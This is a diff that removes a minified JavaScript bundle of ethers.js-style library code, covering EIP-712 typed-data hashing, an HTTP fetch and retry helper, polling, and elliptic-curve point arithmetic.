- encode(t3) { - return this.encodeData(this.primaryType, t3); - } - hash(t3) { - return this.hashStruct(this.primaryType, t3); - } - _visit(t3, e2, r4) { - if (td(t3)) - return r4(t3, e2); - const n2 = t3.match(/^(.*)(\x5b(\d*)\x5d)$/); - if (n2) { - const t4 = n2[1], A3 = parseInt(n2[3]); - return A3 >= 0 && e2.length !== A3 && Op.throwArgumentError("array length mismatch; expected length ${ arrayLength }", "value", e2), e2.map((e3) => this._visit(t4, e3, r4)); - } - const A2 = this.types[t3]; - return A2 ? A2.reduce((t4, { name: n3, type: A3 }) => (t4[n3] = this._visit(A3, e2[n3], r4), t4), {}) : Op.throwArgumentError(`unknown type: ${t3}`, "type", t3); - } - visit(t3, e2) { - return this._visit(this.primaryType, t3, e2); - } - static from(e2) { - return new t2(e2); - } - static getPrimaryType(e2) { - return t2.from(e2).primaryType; - } - static hashStruct(e2, r4, n2) { - return t2.from(r4).hashStruct(e2, n2); - } - static hashDomain(e2) { - const r4 = []; - for (const t3 in e2) { - const n2 = Vp[t3]; - n2 || Op.throwArgumentError(`invalid typed-data domain key: ${JSON.stringify(t3)}`, "domain", e2), r4.push({ name: t3, type: n2 }); - } - return r4.sort((t3, e3) => Wp.indexOf(t3.name) - Wp.indexOf(e3.name)), t2.hashStruct("EIP712Domain", { EIP712Domain: r4 }, e2); - } - static encode(e2, r4, n2) { - return tf(["0x1901", t2.hashDomain(e2), t2.from(r4).hash(n2)]); - } - static hash(e2, r4, n2) { - return Yf(t2.encode(e2, r4, n2)); - } - static resolveNames(e2, r4, n2, A2) { - return Lp(this, void 0, void 0, function* () { - e2 = mf(e2); - const i2 = {}; - e2.verifyingContract && !Xl(e2.verifyingContract, 20) && (i2[e2.verifyingContract] = "0x"); - const o2 = t2.from(r4); - o2.visit(n2, (t3, e3) => ("address" !== t3 || Xl(e3, 20) || (i2[e3] = "0x"), e3)); - for (const t3 in i2) - i2[t3] = yield A2(t3); - return e2.verifyingContract && i2[e2.verifyingContract] && (e2.verifyingContract = i2[e2.verifyingContract]), n2 = o2.visit(n2, (t3, e3) => "address" === t3 && i2[e3] ? i2[e3] : e3), { domain: e2, value: n2 }; - }); - } - static getPayload(e2, r4, n2) { - t2.hashDomain(e2); - const A2 = {}, i2 = []; - Wp.forEach((t3) => { - const r5 = e2[t3]; - null != r5 && (A2[t3] = $p[t3](r5), i2.push({ name: t3, type: Vp[t3] })); - }); - const o2 = t2.from(r4), s2 = mf(r4); - return s2.EIP712Domain ? Op.throwArgumentError("types must not contain EIP712Domain type", "types.EIP712Domain", r4) : s2.EIP712Domain = i2, o2.encode(n2), { types: s2, domain: A2, primaryType: o2.primaryType, message: o2.visit(n2, (t3, e3) => { - if (t3.match(/^bytes(\d*)/)) - return Wl(jl(e3)); - if (t3.match(/^u?int/)) - return hf.from(e3).toString(); - switch (t3) { - case "address": - return e3.toLowerCase(); - case "bool": - return !!e3; - case "string": - return "string" != typeof e3 && Op.throwArgumentError("invalid string", "value", e3), e3; - } - return Op.throwArgumentError("unsupported type", "type", t3); - }) }; - } - }; - Al(), il(), Al(), il(); - var nd = nl(El()); - function Ad(t2) { - return "0x" + nd.default.sha256().update(jl(t2)).digest("hex"); - } - Al(), il(), Al(), il(), Al(), il(); - Al(), il(); - var id3 = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - function od(t2, e2) { - return id3(this, void 0, void 0, function* () { - null == e2 && (e2 = {}); - const r4 = { method: e2.method || "GET", headers: e2.headers || {}, body: e2.body || void 0 }; - if (true !== e2.skipFetchSetup && (r4.mode = "cors", r4.cache = "no-cache", r4.credentials = "same-origin", r4.redirect = "follow", r4.referrer = "client"), null != e2.fetchOptions) { - const t3 = e2.fetchOptions; - t3.mode && (r4.mode = t3.mode), t3.cache && (r4.cache = t3.cache), t3.credentials && (r4.credentials = t3.credentials), t3.redirect && (r4.redirect = t3.redirect), t3.referrer && (r4.referrer = t3.referrer); - } - const n2 = yield fetch(t2, r4), A2 = yield n2.arrayBuffer(), i2 = {}; - return n2.headers.forEach ? n2.headers.forEach((t3, e3) => { - i2[e3.toLowerCase()] = t3; - }) : n2.headers.keys().forEach((t3) => { - i2[t3.toLowerCase()] = n2.headers.get(t3); - }), { headers: i2, statusCode: n2.status, statusMessage: n2.statusText, body: jl(new Uint8Array(A2)) }; - }); - } - var sd = function(t2, e2, r4, n2) { - return new (r4 || (r4 = Promise))(function(A2, i2) { - function o2(t3) { - try { - a2(n2.next(t3)); - } catch (t4) { - i2(t4); - } - } - function s2(t3) { - try { - a2(n2.throw(t3)); - } catch (t4) { - i2(t4); - } - } - function a2(t3) { - var e3; - t3.done ? A2(t3.value) : (e3 = t3.value, e3 instanceof r4 ? e3 : new r4(function(t4) { - t4(e3); - })).then(o2, s2); - } - a2((n2 = n2.apply(t2, e2 || [])).next()); - }); - }; - var ad = new Gl("web/5.7.1"); - function cd(t2) { - return new Promise((e2) => { - setTimeout(e2, t2); - }); - } - function hd(t2, e2) { - if (null == t2) - return null; - if ("string" == typeof t2) - return t2; - if (Yl(t2)) { - if (e2 && ("text" === e2.split("/")[0] || "application/json" === e2.split(";")[0].trim())) - try { - return $f(t2); - } catch (t3) { - } - return Wl(t2); - } - return t2; - } - function gd(t2, e2, r4) { - let n2 = null; - if (null != e2) { - n2 = Zf(e2); - const r5 = "string" == typeof t2 ? { url: t2 } : mf(t2); - if (r5.headers) { - 0 !== Object.keys(r5.headers).filter((t3) => "content-type" === t3.toLowerCase()).length || (r5.headers = mf(r5.headers), r5.headers["content-type"] = "application/json"); - } else - r5.headers = { "content-type": "application/json" }; - t2 = r5; - } - return function(t3, e3, r5) { - const n3 = "object" == typeof t3 && null != t3.throttleLimit ? t3.throttleLimit : 12; - ad.assertArgument(n3 > 0 && n3 % 1 == 0, "invalid connection throttle limit", "connection.throttleLimit", n3); - const A2 = "object" == typeof t3 ? t3.throttleCallback : null, i2 = "object" == typeof t3 && "number" == typeof t3.throttleSlotInterval ? t3.throttleSlotInterval : 100; - ad.assertArgument(i2 > 0 && i2 % 1 == 0, "invalid connection throttle slot interval", "connection.throttleSlotInterval", i2); - const o2 = "object" == typeof t3 && !!t3.errorPassThrough, s2 = {}; - let a2 = null; - const c2 = { method: "GET" }; - let h2 = false, g2 = 12e4; - if ("string" == typeof t3) - a2 = t3; - else if ("object" == typeof t3) { - if (null != t3 && null != t3.url || ad.throwArgumentError("missing URL", "connection.url", t3), a2 = t3.url, "number" == typeof t3.timeout && t3.timeout > 0 && (g2 = t3.timeout), t3.headers) - for (const e4 in t3.headers) - s2[e4.toLowerCase()] = { key: e4, value: String(t3.headers[e4]) }, ["if-none-match", "if-modified-since"].indexOf(e4.toLowerCase()) >= 0 && (h2 = true); - if (c2.allowGzip = !!t3.allowGzip, null != t3.user && null != t3.password) { - "https:" !== a2.substring(0, 6) && true !== t3.allowInsecureAuthentication && ad.throwError("basic authentication requires a secure https url", Gl.errors.INVALID_ARGUMENT, { argument: "url", url: a2, user: t3.user, password: "[REDACTED]" }); - const e4 = t3.user + ":" + t3.password; - s2.authorization = { key: "Authorization", value: "Basic " + Uf(Zf(e4)) }; - } - null != t3.skipFetchSetup && (c2.skipFetchSetup = !!t3.skipFetchSetup), null != t3.fetchOptions && (c2.fetchOptions = mf(t3.fetchOptions)); - } - const u2 = new RegExp("^data:([^;:]*)?(;base64)?,(.*)$", "i"), l2 = a2 ? a2.match(u2) : null; - if (l2) - try { - const t4 = { statusCode: 200, statusMessage: "OK", headers: { "content-type": l2[1] || "text/plain" }, body: l2[2] ? Rf(l2[3]) : (f2 = l2[3], Zf(f2.replace(/%([0-9a-f][0-9a-f])/gi, (t5, e5) => String.fromCharCode(parseInt(e5, 16))))) }; - let e4 = t4.body; - return r5 && (e4 = r5(t4.body, t4)), Promise.resolve(e4); - } catch (t4) { - ad.throwError("processing response error", Gl.errors.SERVER_ERROR, { body: hd(l2[1], l2[2]), error: t4, requestBody: null, requestMethod: "GET", url: a2 }); - } - var f2; - e3 && (c2.method = "POST", c2.body = e3, null == s2["content-type"] && (s2["content-type"] = { key: "Content-Type", value: "application/octet-stream" }), null == s2["content-length"] && (s2["content-length"] = { key: "Content-Length", value: String(e3.length) })); - const p2 = {}; - Object.keys(s2).forEach((t4) => { - const e4 = s2[t4]; - p2[e4.key] = e4.value; - }), c2.headers = p2; - const d2 = function() { - let t4 = null; - return { promise: new Promise(function(e4, r6) { - g2 && (t4 = setTimeout(() => { - null != t4 && (t4 = null, r6(ad.makeError("timeout", Gl.errors.TIMEOUT, { requestBody: hd(c2.body, p2["content-type"]), requestMethod: c2.method, timeout: g2, url: a2 }))); - }, g2)); - }), cancel: function() { - null != t4 && (clearTimeout(t4), t4 = null); - } }; - }(), I2 = function() { - return sd(this, void 0, void 0, function* () { - for (let t4 = 0; t4 < n3; t4++) { - let e4 = null; - try { - if (e4 = yield od(a2, c2), t4 < n3) { - if (301 === e4.statusCode || 302 === e4.statusCode) { - const t5 = e4.headers.location || ""; - if ("GET" === c2.method && t5.match(/^https:/)) { - a2 = e4.headers.location; - continue; - } - } else if (429 === e4.statusCode) { - let r6 = true; - if (A2 && (r6 = yield A2(t4, a2)), r6) { - let r7 = 0; - const n4 = e4.headers["retry-after"]; - r7 = "string" == typeof n4 && n4.match(/^[1-9][0-9]*$/) ? 1e3 * parseInt(n4) : i2 * parseInt(String(Math.random() * Math.pow(2, t4))), yield cd(r7); - continue; - } - } - } - } catch (t5) { - e4 = t5.response, null == e4 && (d2.cancel(), ad.throwError("missing response", Gl.errors.SERVER_ERROR, { requestBody: hd(c2.body, p2["content-type"]), requestMethod: c2.method, serverError: t5, url: a2 })); - } - let s3 = e4.body; - if (h2 && 304 === e4.statusCode ? s3 = null : !o2 && (e4.statusCode < 200 || e4.statusCode >= 300) && (d2.cancel(), ad.throwError("bad response", Gl.errors.SERVER_ERROR, { status: e4.statusCode, headers: e4.headers, body: hd(s3, e4.headers ? e4.headers["content-type"] : null), requestBody: hd(c2.body, p2["content-type"]), requestMethod: c2.method, url: a2 })), r5) - try { - const t5 = yield r5(s3, e4); - return d2.cancel(), t5; - } catch (r6) { - if (r6.throttleRetry && t4 < n3) { - let e5 = true; - if (A2 && (e5 = yield A2(t4, a2)), e5) { - const e6 = i2 * parseInt(String(Math.random() * Math.pow(2, t4))); - yield cd(e6); - continue; - } - } - d2.cancel(), ad.throwError("processing response error", Gl.errors.SERVER_ERROR, { body: hd(s3, e4.headers ? e4.headers["content-type"] : null), error: r6, requestBody: hd(c2.body, p2["content-type"]), requestMethod: c2.method, url: a2 }); - } - return d2.cancel(), s3; - } - return ad.throwError("failed response", Gl.errors.SERVER_ERROR, { requestBody: hd(c2.body, p2["content-type"]), requestMethod: c2.method, url: a2 }); - }); - }(); - return Promise.race([d2.promise, I2]); - }(t2, n2, (t3, e3) => { - let n3 = null; - if (null != t3) - try { - n3 = JSON.parse($f(t3)); - } catch (e4) { - ad.throwError("invalid JSON", Gl.errors.SERVER_ERROR, { body: t3, error: e4 }); - } - return r4 && (n3 = r4(n3, e3)), n3; - }); - } - function ud(t2, e2) { - return e2 || (e2 = {}), null == (e2 = mf(e2)).floor && (e2.floor = 0), null == e2.ceiling && (e2.ceiling = 1e4), null == e2.interval && (e2.interval = 250), new Promise(function(r4, n2) { - let A2 = null, i2 = false; - const o2 = () => !i2 && (i2 = true, A2 && clearTimeout(A2), true); - e2.timeout && (A2 = setTimeout(() => { - o2() && n2(new Error("timeout")); - }, e2.timeout)); - const s2 = e2.retryLimit; - let a2 = 0; - !function A3() { - return t2().then(function(t3) { - if (void 0 !== t3) - o2() && r4(t3); - else if (e2.oncePoll) - e2.oncePoll.once("poll", A3); - else if (e2.onceBlock) - e2.onceBlock.once("block", A3); - else if (!i2) { - if (a2++, a2 > s2) - return void (o2() && n2(new Error("retry limit reached"))); - let t4 = e2.interval * parseInt(String(Math.random() * Math.pow(2, a2))); - t4 < e2.floor && (t4 = e2.floor), t4 > e2.ceiling && (t4 = e2.ceiling), setTimeout(A3, t4); - } - return null; - }, function(t3) { - o2() && n2(t3); - }); - }(); - }); - } - var ld = nl(wl()); - Al(), il(); - var fd = "providers/5.7.2"; - Al(), il(), Al(), il(), Al(), il(), Al(), il(); - var pd = nl(sl()); - var dd = nl(El()); - function Id(t2, e2, r4) { - return t2(r4 = { path: e2, exports: {}, require: function(t3, e3) { - return function() { - throw new Error("Dynamic requires are not currently supported by @rollup/plugin-commonjs"); - }(null == e3 && r4.path); - } }, r4.exports), r4.exports; - } - var yd = Cd; - function Cd(t2, e2) { - if (!t2) - throw new Error(e2 || "Assertion failed"); - } - Cd.equal = function(t2, e2, r4) { - if (t2 != e2) - throw new Error(r4 || "Assertion failed: " + t2 + " != " + e2); - }; - var md = Id(function(t2, e2) { - var r4 = e2; - function n2(t3) { - return 1 === t3.length ? "0" + t3 : t3; - } - function A2(t3) { - for (var e3 = "", r5 = 0; r5 < t3.length; r5++) - e3 += n2(t3[r5].toString(16)); - return e3; - } - r4.toArray = function(t3, e3) { - if (Array.isArray(t3)) - return t3.slice(); - if (!t3) - return []; - var r5 = []; - if ("string" != typeof t3) { - for (var n3 = 0; n3 < t3.length; n3++) - r5[n3] = 0 | t3[n3]; - return r5; - } - if ("hex" === e3) { - (t3 = t3.replace(/[^a-z0-9]+/gi, "")).length % 2 != 0 && (t3 = "0" + t3); - for (n3 = 0; n3 < t3.length; n3 += 2) - r5.push(parseInt(t3[n3] + t3[n3 + 1], 16)); - } else - for (n3 = 0; n3 < t3.length; n3++) { - var A3 = t3.charCodeAt(n3), i2 = A3 >> 8, o2 = 255 & A3; - i2 ? r5.push(i2, o2) : r5.push(o2); - } - return r5; - }, r4.zero2 = n2, r4.toHex = A2, r4.encode = function(t3, e3) { - return "hex" === e3 ? A2(t3) : t3; - }; - }); - var Bd = Id(function(t2, e2) { - var r4 = e2; - r4.assert = yd, r4.toArray = md.toArray, r4.zero2 = md.zero2, r4.toHex = md.toHex, r4.encode = md.encode, r4.getNAF = function(t3, e3, r5) { - var n2 = new Array(Math.max(t3.bitLength(), r5) + 1); - n2.fill(0); - for (var A2 = 1 << e3 + 1, i2 = t3.clone(), o2 = 0; o2 < n2.length; o2++) { - var s2, a2 = i2.andln(A2 - 1); - i2.isOdd() ? (s2 = a2 > (A2 >> 1) - 1 ? (A2 >> 1) - a2 : a2, i2.isubn(s2)) : s2 = 0, n2[o2] = s2, i2.iushrn(1); - } - return n2; - }, r4.getJSF = function(t3, e3) { - var r5 = [[], []]; - t3 = t3.clone(), e3 = e3.clone(); - for (var n2, A2 = 0, i2 = 0; t3.cmpn(-A2) > 0 || e3.cmpn(-i2) > 0; ) { - var o2, s2, a2 = t3.andln(3) + A2 & 3, c2 = e3.andln(3) + i2 & 3; - 3 === a2 && (a2 = -1), 3 === c2 && (c2 = -1), o2 = 1 & a2 ? 3 !== (n2 = t3.andln(7) + A2 & 7) && 5 !== n2 || 2 !== c2 ? a2 : -a2 : 0, r5[0].push(o2), s2 = 1 & c2 ? 3 !== (n2 = e3.andln(7) + i2 & 7) && 5 !== n2 || 2 !== a2 ? c2 : -c2 : 0, r5[1].push(s2), 2 * A2 === o2 + 1 && (A2 = 1 - A2), 2 * i2 === s2 + 1 && (i2 = 1 - i2), t3.iushrn(1), e3.iushrn(1); - } - return r5; - }, r4.cachedProperty = function(t3, e3, r5) { - var n2 = "_" + e3; - t3.prototype[e3] = function() { - return void 0 !== this[n2] ? this[n2] : this[n2] = r5.call(this); - }; - }, r4.parseBytes = function(t3) { - return "string" == typeof t3 ? r4.toArray(t3, "hex") : t3; - }, r4.intFromLE = function(t3) { - return new pd.default(t3, "hex", "le"); - }; - }); - var Ed = Bd.getNAF; - var wd = Bd.getJSF; - var vd = Bd.assert; - function _d(t2, e2) { - this.type = t2, this.p = new pd.default(e2.p, 16), this.red = e2.prime ? pd.default.red(e2.prime) : pd.default.mont(this.p), this.zero = new pd.default(0).toRed(this.red), this.one = new pd.default(1).toRed(this.red), this.two = new pd.default(2).toRed(this.red), this.n = e2.n && new pd.default(e2.n, 16), this.g = e2.g && this.pointFromJSON(e2.g, e2.gRed), this._wnafT1 = new Array(4), this._wnafT2 = new Array(4), this._wnafT3 = new Array(4), this._wnafT4 = new Array(4), this._bitLength = this.n ? this.n.bitLength() : 0; - var r4 = this.n && this.p.div(this.n); - !r4 || r4.cmpn(100) > 0 ? this.redN = null : (this._maxwellTrick = true, this.redN = this.n.toRed(this.red)); - } - var Qd = _d; - function bd(t2, e2) { - this.curve = t2, this.type = e2, this.precomputed = null; - } - _d.prototype.point = function() { - throw new Error("Not implemented"); - }, _d.prototype.validate = function() { - throw new Error("Not implemented"); - }, _d.prototype._fixedNafMul = function(t2, e2) { - vd(t2.precomputed); - var r4 = t2._getDoubles(), n2 = Ed(e2, 1, this._bitLength), A2 = (1 << r4.step + 1) - (r4.step % 2 == 0 ? 2 : 1); - A2 /= 3; - var i2, o2, s2 = []; - for (i2 = 0; i2 < n2.length; i2 += r4.step) { - o2 = 0; - for (var a2 = i2 + r4.step - 1; a2 >= i2; a2--) - o2 = (o2 << 1) + n2[a2]; - s2.push(o2); - } - for (var c2 = this.jpoint(null, null, null), h2 = this.jpoint(null, null, null), g2 = A2; g2 > 0; g2--) { - for (i2 = 0; i2 < s2.length; i2++) - (o2 = s2[i2]) === g2 ? h2 = h2.mixedAdd(r4.points[i2]) : o2 === -g2 && (h2 = h2.mixedAdd(r4.points[i2].neg())); - c2 = c2.add(h2); - } - return c2.toP(); - }, _d.prototype._wnafMul = function(t2, e2) { - var r4 = 4, n2 = t2._getNAFPoints(r4); - r4 = n2.wnd; - for (var A2 = n2.points, i2 = Ed(e2, r4, this._bitLength), o2 = this.jpoint(null, null, null), s2 = i2.length - 1; s2 >= 0; s2--) { - for (var a2 = 0; s2 >= 0 && 0 === i2[s2]; s2--) - a2++; - if (s2 >= 0 && a2++, o2 = o2.dblp(a2), s2 < 0) - break; - var c2 = i2[s2]; - vd(0 !== c2), o2 = "affine" === t2.type ? c2 > 0 ? o2.mixedAdd(A2[c2 - 1 >> 1]) : o2.mixedAdd(A2[-c2 - 1 >> 1].neg()) : c2 > 0 ? o2.add(A2[c2 - 1 >> 1]) : o2.add(A2[-c2 - 1 >> 1].neg()); - } - return "affine" === t2.type ? o2.toP() : o2; - }, _d.prototype._wnafMulAdd = function(t2, e2, r4, n2, A2) { - var i2, o2, s2, a2 = this._wnafT1, c2 = this._wnafT2, h2 = this._wnafT3, g2 = 0; - for (i2 = 0; i2 < n2; i2++) { - var u2 = (s2 = e2[i2])._getNAFPoints(t2); - a2[i2] = u2.wnd, c2[i2] = u2.points; - } - for (i2 = n2 - 1; i2 >= 1; i2 -= 2) { - var l2 = i2 - 1, f2 = i2; - if (1 === a2[l2] && 1 === a2[f2]) { - var p2 = [e2[l2], null, null, e2[f2]]; - 0 === e2[l2].y.cmp(e2[f2].y) ? (p2[1] = e2[l2].add(e2[f2]), p2[2] = e2[l2].toJ().mixedAdd(e2[f2].neg())) : 0 === e2[l2].y.cmp(e2[f2].y.redNeg()) ? (p2[1] = e2[l2].toJ().mixedAdd(e2[f2]), p2[2] = e2[l2].add(e2[f2].neg())) : (p2[1] = e2[l2].toJ().mixedAdd(e2[f2]), p2[2] = e2[l2].toJ().mixedAdd(e2[f2].neg())); - var d2 = [-3, -1, -5, -7, 0, 7, 5, 1, 3], I2 = wd(r4[l2], r4[f2]); - for (g2 = Math.max(I2[0].length, g2), h2[l2] = new Array(g2), h2[f2] = new Array(g2), o2 = 0; o2 < g2; o2++) { - var y2 = 0 | I2[0][o2], C2 = 0 | I2[1][o2]; - h2[l2][o2] = d2[3 * (y2 + 1) + (C2 + 1)], h2[f2][o2] = 0, c2[l2] = p2; - } - } else - h2[l2] = Ed(r4[l2], a2[l2], this._bitLength), h2[f2] = Ed(r4[f2], a2[f2], this._bitLength), g2 = Math.max(h2[l2].length, g2), g2 = Math.max(h2[f2].length, g2); - } - var m2 = this.jpoint(null, null, null), B2 = this._wnafT4; - for (i2 = g2; i2 >= 0; i2--) { - for (var E2 = 0; i2 >= 0; ) { - var w2 = true; - for (o2 = 0; o2 < n2; o2++) - B2[o2] = 0 | h2[o2][i2], 0 !== B2[o2] && (w2 = false); - if (!w2) - break; - E2++, i2--; - } - if (i2 >= 0 && E2++, m2 = m2.dblp(E2), i2 < 0) - break; - for (o2 = 0; o2 < n2; o2++) { - var v2 = B2[o2]; - 0 !== v2 && (v2 > 0 ? s2 = c2[o2][v2 - 1 >> 1] : v2 < 0 && (s2 = c2[o2][-v2 - 1 >> 1].neg()), m2 = "affine" === s2.type ? m2.mixedAdd(s2) : m2.add(s2)); - } - } - for (i2 = 0; i2 < n2; i2++) - c2[i2] = null; - return A2 ? m2 : m2.toP(); - }, _d.BasePoint = bd, bd.prototype.eq = function() { - throw new Error("Not implemented"); - }, bd.prototype.validate = function() { - return this.curve.validate(this); - }, _d.prototype.decodePoint = function(t2, e2) { - t2 = Bd.toArray(t2, e2); - var r4 = this.p.byteLength(); - if ((4 === t2[0] || 6 === t2[0] || 7 === t2[0]) && t2.length - 1 == 2 * r4) - return 6 === t2[0] ? vd(t2[t2.length - 1] % 2 == 0) : 7 === t2[0] && vd(t2[t2.length - 1] % 2 == 1), this.point(t2.slice(1, 1 + r4), t2.slice(1 + r4, 1 + 2 * r4)); - if ((2 === t2[0] || 3 === t2[0]) && t2.length - 1 === r4) - return this.pointFromX(t2.slice(1, 1 + r4), 3 === t2[0]); - throw new Error("Unknown point format"); - }, bd.prototype.encodeCompressed = function(t2) { - return this.encode(t2, true); - }, bd.prototype._encode = function(t2) { - var e2 = this.curve.p.byteLength(), r4 = this.getX().toArray("be", e2); - return t2 ? [this.getY().isEven() ? 2 : 3].concat(r4) : [4].concat(r4, this.getY().toArray("be", e2)); - }, bd.prototype.encode = function(t2, e2) { - return Bd.encode(this._encode(e2), t2); - }, bd.prototype.precompute = function(t2) { - if (this.precomputed) - return this; - var e2 = { doubles: null, naf: null, beta: null }; - return e2.naf = this._getNAFPoints(8), e2.doubles = this._getDoubles(4, t2), e2.beta = this._getBeta(), this.precomputed = e2, this; - }, bd.prototype._hasDoubles = function(t2) { - if (!this.precomputed) - return false; - var e2 = this.precomputed.doubles; - return !!e2 && e2.points.length >= Math.ceil((t2.bitLength() + 1) / e2.step); - }, bd.prototype._getDoubles = function(t2, e2) { - if (this.precomputed && this.precomputed.doubles) - return this.precomputed.doubles; - for (var r4 = [this], n2 = this, A2 = 0; A2 < e2; A2 += t2) { - for (var i2 = 0; i2 < t2; i2++) - n2 = n2.dbl(); - r4.push(n2); - } - return { step: t2, points: r4 }; - }, bd.prototype._getNAFPoints = function(t2) { - if (this.precomputed && this.precomputed.naf) - return this.precomputed.naf; - for (var e2 = [this], r4 = (1 << t2) - 1, n2 = 1 === r4 ? null : this.dbl(), A2 = 1; A2 < r4; A2++) - e2[A2] = e2[A2 - 1].add(n2); - return { wnd: t2, points: e2 }; - }, bd.prototype._getBeta = function() { - return null; - }, bd.prototype.dblp = function(t2) { - for (var e2 = this, r4 = 0; r4 < t2; r4++) - e2 = e2.dbl(); - return e2; - }; - var kd = Id(function(t2) { - "function" == typeof Object.create ? t2.exports = function(t3, e2) { - e2 && (t3.super_ = e2, t3.prototype = Object.create(e2.prototype, { constructor: { value: t3, enumerable: false, writable: true, configurable: true } })); - } : t2.exports = function(t3, e2) { - if (e2) { - t3.super_ = e2; - var r4 = function() { - }; - r4.prototype = e2.prototype, t3.prototype = new r4(), t3.prototype.constructor = t3; - } - }; - }); - var Dd = Bd.assert; - function Sd(t2) { - Qd.call(this, "short", t2), this.a = new pd.default(t2.a, 16).toRed(this.red), this.b = new pd.default(t2.b, 16).toRed(this.red), this.tinv = this.two.redInvm(), this.zeroA = 0 === this.a.fromRed().cmpn(0), this.threeA = 0 === this.a.fromRed().sub(this.p).cmpn(-3), this.endo = this._getEndomorphism(t2), this._endoWnafT1 = new Array(4), this._endoWnafT2 = new Array(4); - } - kd(Sd, Qd); - var Nd = Sd; - function Md(t2, e2, r4, n2) { - Qd.BasePoint.call(this, t2, "affine"), null === e2 && null === r4 ? (this.x = null, this.y = null, this.inf = true) : (this.x = new pd.default(e2, 16), this.y = new pd.default(r4, 16), n2 && (this.x.forceRed(this.curve.red), this.y.forceRed(this.curve.red)), this.x.red || (this.x = this.x.toRed(this.curve.red)), this.y.red || (this.y = this.y.toRed(this.curve.red)), this.inf = false); - } - function xd(t2, e2, r4, n2) { - Qd.BasePoint.call(this, t2, "jacobian"), null === e2 && null === r4 && null === n2 ? (this.x = this.curve.one, this.y = this.curve.one, this.z = new pd.default(0)) : (this.x = new pd.default(e2, 16), this.y = new pd.default(r4, 16), this.z = new pd.default(n2, 16)), this.x.red || (this.x = this.x.toRed(this.curve.red)), this.y.red || (this.y = this.y.toRed(this.curve.red)), this.z.red || (this.z = this.z.toRed(this.curve.red)), this.zOne = this.z === this.curve.one; - } - Sd.prototype._getEndomorphism = function(t2) { - if (this.zeroA && this.g && this.n && 1 === this.p.modn(3)) { - var e2, r4; - if (t2.beta) - e2 = new pd.default(t2.beta, 16).toRed(this.red); - else { - var n2 = this._getEndoRoots(this.p); - e2 = (e2 = n2[0].cmp(n2[1]) < 0 ? n2[0] : n2[1]).toRed(this.red); - } - if (t2.lambda) - r4 = new pd.default(t2.lambda, 16); - else { - var A2 = this._getEndoRoots(this.n); - 0 === this.g.mul(A2[0]).x.cmp(this.g.x.redMul(e2)) ? r4 = A2[0] : (r4 = A2[1], Dd(0 === this.g.mul(r4).x.cmp(this.g.x.redMul(e2)))); - } - return { beta: e2, lambda: r4, basis: t2.basis ? t2.basis.map(function(t3) { - return { a: new pd.default(t3.a, 16), b: new pd.default(t3.b, 16) }; - }) : this._getEndoBasis(r4) }; - } - }, Sd.prototype._getEndoRoots = function(t2) { - var e2 = t2 === this.p ? this.red : pd.default.mont(t2), r4 = new pd.default(2).toRed(e2).redInvm(), n2 = r4.redNeg(), A2 = new pd.default(3).toRed(e2).redNeg().redSqrt().redMul(r4); - return [n2.redAdd(A2).fromRed(), n2.redSub(A2).fromRed()]; - }, Sd.prototype._getEndoBasis = function(t2) { - for (var e2, r4, n2, A2, i2, o2, s2, a2, c2, h2 = this.n.ushrn(Math.floor(this.n.bitLength() / 2)), g2 = t2, u2 = this.n.clone(), l2 = new pd.default(1), f2 = new pd.default(0), p2 = new pd.default(0), d2 = new pd.default(1), I2 = 0; 0 !== g2.cmpn(0); ) { - var y2 = u2.div(g2); - a2 = u2.sub(y2.mul(g2)), c2 = p2.sub(y2.mul(l2)); - var C2 = d2.sub(y2.mul(f2)); - if (!n2 && a2.cmp(h2) < 0) - e2 = s2.neg(), r4 = l2, n2 = a2.neg(), A2 = c2; - else if (n2 && 2 == ++I2) - break; - s2 = a2, u2 = g2, g2 = a2, p2 = l2, l2 = c2, d2 = f2, f2 = C2; - } - i2 = a2.neg(), o2 = c2; - var m2 = n2.sqr().add(A2.sqr()); - return i2.sqr().add(o2.sqr()).cmp(m2) >= 0 && (i2 = e2, o2 = r4), n2.negative && (n2 = n2.neg(), A2 = A2.neg()), i2.negative && (i2 = i2.neg(), o2 = o2.neg()), [{ a: n2, b: A2 }, { a: i2, b: o2 }]; - }, Sd.prototype._endoSplit = function(t2) { - var e2 = this.endo.basis, r4 = e2[0], n2 = e2[1], A2 = n2.b.mul(t2).divRound(this.n), i2 = r4.b.neg().mul(t2).divRound(this.n), o2 = A2.mul(r4.a), s2 = i2.mul(n2.a), a2 = A2.mul(r4.b), c2 = i2.mul(n2.b); - return { k1: t2.sub(o2).sub(s2), k2: a2.add(c2).neg() }; - }, Sd.prototype.pointFromX = function(t2, e2) { - (t2 = new pd.default(t2, 16)).red || (t2 = t2.toRed(this.red)); - var r4 = t2.redSqr().redMul(t2).redIAdd(t2.redMul(this.a)).redIAdd(this.b), n2 = r4.redSqrt(); - if (0 !== n2.redSqr().redSub(r4).cmp(this.zero)) - throw new Error("invalid point"); - var A2 = n2.fromRed().isOdd(); - return (e2 && !A2 || !e2 && A2) && (n2 = n2.redNeg()), this.point(t2, n2); - }, Sd.prototype.validate = function(t2) { - if (t2.inf) - return true; - var e2 = t2.x, r4 = t2.y, n2 = this.a.redMul(e2), A2 = e2.redSqr().redMul(e2).redIAdd(n2).redIAdd(this.b); - return 0 === r4.redSqr().redISub(A2).cmpn(0); - }, Sd.prototype._endoWnafMulAdd = function(t2, e2, r4) { - for (var n2 = this._endoWnafT1, A2 = this._endoWnafT2, i2 = 0; i2 < t2.length; i2++) { - var o2 = this._endoSplit(e2[i2]), s2 = t2[i2], a2 = s2._getBeta(); - o2.k1.negative && (o2.k1.ineg(), s2 = s2.neg(true)), o2.k2.negative && (o2.k2.ineg(), a2 = a2.neg(true)), n2[2 * i2] = s2, n2[2 * i2 + 1] = a2, A2[2 * i2] = o2.k1, A2[2 * i2 + 1] = o2.k2; - } - for (var c2 = this._wnafMulAdd(1, n2, A2, 2 * i2, r4), h2 = 0; h2 < 2 * i2; h2++) - n2[h2] = null, A2[h2] = null; - return c2; - }, kd(Md, Qd.BasePoint), Sd.prototype.point = function(t2, e2, r4) { - return new Md(this, t2, e2, r4); - }, Sd.prototype.pointFromJSON = function(t2, e2) { - return Md.fromJSON(this, t2, e2); - }, 